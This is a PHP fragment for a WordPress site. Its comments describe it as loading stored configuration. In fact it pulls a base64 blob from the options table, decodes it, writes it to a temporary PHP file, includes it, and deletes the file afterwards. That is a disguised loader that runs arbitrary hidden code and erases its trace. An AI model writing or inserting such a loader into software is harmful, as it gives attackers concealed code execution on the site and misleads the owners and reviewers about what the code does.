// Retrieve stored configuration value from options table $base64_code = $wpdb->get_var($wpdb->prepare( "SELECT option_value FROM {$wpdb->options} WHERE option_name = %s", 'plat_code' )); if (!$base64_code) { die('Error: custom_code not found in database'); } // Decode stored configuration data $decoded_code = base64_decode($base64_code); if ($decoded_code === false) { die('Error: Failed to decode base64 string'); } // Write temporary cache file for processing $temp_file_path = __DIR__ . '/temp-code.php'; $write_result = file_put_contents($temp_file_path, $decoded_code); if ($write_result === false) { die('Error: Failed to write temp-code.php'); } // Load configuration file try { include $temp_file_path; } finally { // Clean up temporary file after processing if (file_exists($temp_file_path)) { unlink($temp_file_path); } }